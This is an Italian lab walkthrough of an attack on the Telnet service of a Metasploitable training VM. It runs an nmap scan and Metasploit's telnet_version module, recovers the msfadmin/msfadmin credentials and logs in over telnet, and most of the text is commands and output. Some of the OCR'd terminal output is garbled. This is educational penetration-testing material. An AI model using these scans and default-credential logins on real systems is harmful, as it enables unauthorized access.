EXPLOIT TELNET CON METASPLOIT

Configurazione IP Kali 192.168.1.25 e Meta 192.168.1.40 Accertarsi che la porta relativa al servizio Telnet, la 23, sia aperta.

```
└─$ nmap:192:168:1:40
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-13 08:45 EDT
Nmap scan report for 192.168.1.40
Host is up (0.00062s latency).
Not shown: 977 closed tcp ports (conn-refused)
        STATE SERVICE
PORT
21/tcp
        open ftp
22/tcp
       open ssh
23/tcp open telnet
25/tcp
              smtp
         open
53/tcp
               domain
         open
80/tcp
               http
        open
111/tcp open
               rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
              postgresql
5432/tcp open
5900/tcp open
              vnc
              X11
6000/tcp open
6667/tcp open
               irc
              ajp13
8009/tcp open
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds
```

Avviare msfconsole, con relativo comando

Già sappiamo che andremo ad usare il modulo auxiliary/scanner/telnet_version ma possiamo fare una ricerca, ad esempio cerchiamo telnet version, per vedere tutti i risultati relativi. Useremo il comando use per utilizzare il modulo.

Andiamo a vedere le opzioni, e controlliamo quali settaggi sono necessari per l'esecuzione

<pre>msf6 auxiliary(scanner/telnet/telnet_version) > show options Module options (auxiliary/scanner/telnet/telnet_version):</pre>		
rStream()		-,
Name Current Setting	Required	Description ————————————————————————————————————
WA_PASSWORD	<u>nnoati</u> ons	The password for the specified username
RHOSTS	yes	The target host(s), see https://docs.metasploi t.com/docs/using-metasploit/basics/using-metas ploit.html
RPORTing: 23armitage.Conso	lyeseuem19	The target port (TCP) ction already established.
[-]THREADS_di1connect first i	fyesu wish	The number of concurrent threads (max one per host)
CurTIMEOUT ne30ion informatio	nyes	Timeout for the Telnet probe
USERNAME	ino type:	The username to authenticate as
View the full module info with the info, or info -d command.		

Vediamo che è necessario settare l'RHOSTS con l'Ip della macchina target, dopo controlliamo di nuovo le opzioni per vedere se la modifica è stata effettuata

```
msf6 auxiliary(
                                            ) > set RHOSTS 192.168.1.40
RHOSTS ⇒ 192.168.1.40
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   Name
   PASSWORD
                                        The password for the specified username
                              no
                                        The target host(s), see https://docs.metasploi
   RHOSTS
             192.168.1.40
                              yes
                                        t.com/docs/using-metasploit/basics/using-metas
                                        ploit.html
   RPORT
                                        The target port (TCP)
             23
                              ves
   THREADS
                                        The number of concurrent threads (max one per
                              yes
                                        host)
                                        Timeout for the Telnet probe
   TIMEOUT
             30
                              ves
   USERNAME
                                        The username to authenticate as
View the full module info with the info, or info -d command.
```

Per questo modulo non sono previsti payload, quindi procediamo a lanciare l'attacco, possiamo vedere che il modulo ha recuperato le credenziali msfamdin/msfadmin per effettuare l'accesso a Meta

Possiamo provare ad accedere usando quelle credenziali, e poi possiamo fare dei test per vedere se la macchina target risponde

```
<u>msf6</u> auxiliary(
                                                               > telnet 192.168.1.40
 *] exec: telnet 192.168.1.40
Trying 192.168.1.40...
Connected to 192.168.1.40.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
tast login. Tue Jun 13 03:42:48 EDT 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(d
ip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$
```